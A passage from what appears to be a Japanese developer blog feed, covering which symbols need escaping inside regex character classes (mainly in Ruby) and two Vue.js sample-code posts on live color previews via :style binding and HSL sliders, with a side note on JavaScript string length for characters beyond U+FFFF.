閉じ角かっこ
]
バックスラッシュ
\

ということは、それ以外の記号はエスケープなしで楽々と文字クラス[ ]内に置けることになります。本当に?本当に?

文字クラス内メタキャラクタにも種類がある

ただし、上の中でバックスラッシュ\と他の3つのメタキャラクタは挙動が異なります。

バックスラッシュ\だけは絶対的なメタキャラクタであり、自分自身を含む直後の文字は何でもエスケープします。

逆に、マイナスハイフン: -、山形記号: ^、閉じ角かっこ: ]の3つは、文字クラス[ ]内では相対的なメタキャラクタです。

具体的には、文字クラス[ ]の中の先頭に置くかどうかで挙動が異なります。

文字クラス[ ]内の山形記号^

文字クラス[ ]内の先頭が山形記号^だと、文字クラスの否定を表します(Rubularの実行例)。

[^0-9a-zA-Z]

上のようにすると、「英数字以外のあらゆる文字」を表します。これはよく使われるのでご存じの方も多いと思います。

実は、^は文字クラスの先頭以外の場所に置くのであればエスケープ不要です(Rubularの実行例)。

[0-9a-z^A-Z]

正確に言うと、先頭以外の場所であればエスケープしてもしなくて同じです。

文字クラス[ ]内のマイナスハイフン -

文字クラス[ ]内のマイナスハイフン-は、範囲を表すメタキャラクタです。

[a-zA-Z]

[a-zA-Z]とすると、小文字のaからzと、大文字のAからZの文字を表します。これもよく使われるのでご存じの方が多いと思います。

文字クラス[ ]内でマイナスハイフン自体を表すには、\^のようにバックスラッシュでエスケープする方法のほかに、以下のように文字クラスの先頭に置くことでもできます(Rubularの実行例)。

[a-zA-Z\-]
[-a-zA-Z]

上の文字クラスは、どちらもマイナスハイフンと、小文字のaからzと、大文字のAからZの文字を表します。ここでも文字クラスの先頭が特別扱いされています。

文字クラス[ ]内の閉じ角かっこ ]

次がやや気色悪いです。

文字クラス[ ]内の先頭が閉じ角かっこ ]だと、エスケープなしで通常の文字として扱われます。つまり、]は文字クラスの先頭においた場合に限り機能しなくなります。

[a-zA-Z&*()\]]
[]a-zA-Z&*()]

たとえば上はいずれも、]a-zA-Z&*()のいずれかにマッチします。

とはいうものの、[]なんちゃら]などと書くと、間違って2回閉じてしまったように見えてしまうので、いくらバックスラッシュでエスケープしなくてよくなるからといっても使いたくないですね。少なくとも私は。

普通に[a-zA-Z&*()\]]]\でエスケープする方がなんぼかましです。

さらに、JavaScriptでは[]空の文字クラスと認識する(regex101.comの実行例)など、実装によって変わる可能性が大なので、この挙動をあてにするとはまると思います。

文字クラス[ ]内で「現実に」エスケープが必要なその他の文字

いよいよ本題です。

さきの原則どおりであれば、文字クラス内に記号を書くときは^-]\の4つの文字だけをエスケープすればよいことになります。

!"#$%&'()*,-./:;<>?@[\]^_`{|}~

上はASCIIの記号たちです(UTF-8でも共通です)。これを文字クラスの中に書いてエスケープするとしましょう。例の4つのメタキャラクタ「^-]\」をエスケープすると以下のようになります。

!"#$%&'()*,\-./:;<>?@[\\\]\^_`{|}~

しかし実際にやってみると怒られます(Rubularの実行例)。

うすうす見当の付いた方もいらっしゃると思いますが、現実には4つのメタキャラクタの他に、少なくとも以下のエスケープも必要になることがあります。実装によってはこの他にもエスケープが必要になる記号があるかもしれません。

正規表現の開始/終了記号
スラッシュ/が一般的ですが、少なくともRubyでは開始/終了記号を他の文字に変えることもできます。
開始かっこ[
これは実装に依存する可能性があります。少なくともRubyのOnigmoでは文字クラスの中で開始かっこ[もエスケープが必要です。

というわけで、/[もエスケープしてみました(Rubularの実行例)。

!"#$%&'()*,\-.\/:;<>?@\[\\\]\^_`{|}~

はい、今度はきれいにすべての記号にマッチしました。

まとめ

まとめると、少なくともRubyの正規表現の文字クラス内であれば、メタキャラクタである/^-]、そのほかに/[だけをエスケープすればよいことになります。さらに、^は先頭に置かないように注意すればエスケープ不要です。

それ以外の記号はエスケープなんかしなくたってよいのです(エスケープしても動きますが)。

ここまでわかれば、文字クラスの中をエスケープだらけにせずに安心して記号を書けるようになります。

以下の文字クラスではエスケープをひとつも使っていませんが、ちゃんと機能します(Rubularの実行例)。

[#$@%&*._^(){}]

これでエスケープの強迫観念がだいぶ軽くなった気がします。

おまけ

ついでながら、文字クラス[ ]の中には順序の概念がありません(例の4つのメタキャラクタの振る舞いはもちろん除きます)。

したがって、[bar]でも[abr]でも同じです。

間違えられやすいのですが、[^bar]は「”bar”でない文字」ではなく、「”b”でも”a”でも”r”でもない文字」です。

おまけ 2

参考までに、RubyやPerlや.NET Frameworkなどにバンドルされているリッチな正規表現ライブラリで、かつ対象がASCII限定であれば、以下のようにUnicodeのカテゴリを指定してASCIIの全記号にマッチさせることもできます(Rubularの実行例)。JavaScriptやsed/awkなどでは残念ながら標準ではサポートされていません。

[\p{P}\p{S}]

ただしこれは全角記号や句読点や絵文字を含むありとあらゆる記号にマッチする、やばいぐらい大ざっぱな正規表現です。対象がソースコードのようなものならともかく、一般的な文書だといらん記号にまでがんがんマッチするので大変なことになります。

\p{P}はあらゆる約物(punctuation)、\p{S}はあらゆるシンボル(symbol)を表します。詳しくはUnicode Character Categoriesをご覧ください。

参考

関連記事(正規表現)

Vue.jsサンプルコード(08)入力したカラーコードをリアルタイムでプレビューする

$
0
0

08. 入力したカラーコードをリアルタイムでプレビューする

はなはだ簡単ですが、これも双方向データバインディングの例です。
6桁または3桁の16進カラーコードを入力すると、その場で下の色が更新されます。

サンプルコード

:style:classには「魔法」が効く

今回のはシンプルですが、ポイントはHTMLの:style="{color: a}の部分です。

<div class="help-block" :style="{color: a}">

これはv-bindの略記法です(実はこれまでのサンプルコードにも登場しています)。普通のHTML属性と異なるのは、属性名が:で始まっていることです。

<!-- 属性を束縛 -->
<img v-bind:style="{ fontSize: size + 'px' }">
<!-- 省略記法 -->
<img :style="{ fontSize: size + 'px' }">

1つ以上の属性またはコンポーネントのプロパティと式を動的に束縛します。
class または style 属性と束縛する場合、配列やオブジェクトのような追加の値タイプをサポートします。詳細は下記にリンクしたガイドセクションを参照してください。
api/#v-bindより

配列やオブジェクトなどの値タイプも使えるようになるところがタイトルで言う「魔法」です。

Vue.jsで処理された後は普通のclass属性やstyle属性に変わります。

HTMLタグで通常の属性の代わりに:class:styleを使うことで、HTMLのコンテンツでVue.jsの{{ }}を使えるのと似た要領で、配列やオブジェクトも使って属性を動的に変更できるようになります。ERBの<%= ... %>やPHPの<?php ... ?>より場所を取らないので属性をすっきりと動的にできます。

なおv-bindを直接使うなどしてもっといろいろできますが、やりすぎ注意です。

<!-- 属性のオブジェクトのバインディング -->
<div v-bind="{ id: someProp, 'other-attr': otherProp }"></div>

おまけ: <input>type='number'について

公式ドキュメントによると、<input>タグでtype='number'を付けると自動で数値に型変換されるとありますが、実際は数値への型変換はtype='number'なしでも行われます。
したがって、そのままcomputedで計算できます。

サンプルコード06で、以下のようにHTML属性のtype='number'を削除しても動作します。

<input class='form-control' type='number' v-model='b'>
↓
<input class='form-control' v-model='b'>

その代わりサンプルコード06は数値以外の文字も入力できるようになってしまい、文字を入力すると計算結果もNaNになってしまいますが。


Vue.jsサンプルコード(10)スライダーで入力したカラーコードを動的に表示する

$
0
0

10. スライダーで入力したカラーコードを動的に表示する

  • 3つのスライダーでHSLの値を変更すると、色と数値が動的に変更されます。

サンプル


 var vm = new Vue({
   el: "#app",
   data: {
     h: 163,
     s: 84,
     l: 77,
   },
   computed: {
     c: function() {
       return `hsl(${this.h}, ${this.s}%, ${this.l}%)`
     },
   },
 });

以下はHTML部分の要点のみを抜粋したものです。

<input class="form-control" v-model="c" :style="{backgroundColor: c}" />

          <input type="range" min="0" max="360" v-model.number="h" />
          <input type="range" min="0" max="100" v-model.number="s" />
          <input type="range" min="0" max="100" v-model.number="l" />

おまけ: サンプルコード07はコードポイントによってlengthの結果が正しくならないことがある

サンプルコード07のHTMLに以下のコードがありますが、文字によってlengthの結果が期待どおりにならないことがあります。

    <div class='panel-footer'>あと {{140 - b.length}} 文字
    </div>
'a'.length   // => 1
'あ'.length  // => 1
'正'.length  // => 1
'𠮷'.length  // => 2

上の例では「𠮷」(0x20BB7)で2が返ります。

これはVue.jsの問題ではなく、JavaScriptの問題です。alphanumericや簡単な漢字・ひらがな・カタカナ(コードポイントがUTF-16の16ビットに収まる場合)のうちはよいのですが、U+10000を超えるとlengthが1つのコードポイントを2とカウントします。

さしあたっての回避法として、BPSアプリチームのyoshiさんが見つけてくれた方法をご紹介します。詳しくは別記事にしたいと思います。

[...'𠮷'].length // => 1

このあたりの闇深い部分については以下が大変参考になります。

参考: JavaScript における文字コードと「文字数」の数え方


Viewing all 164 articles
Browse latest View live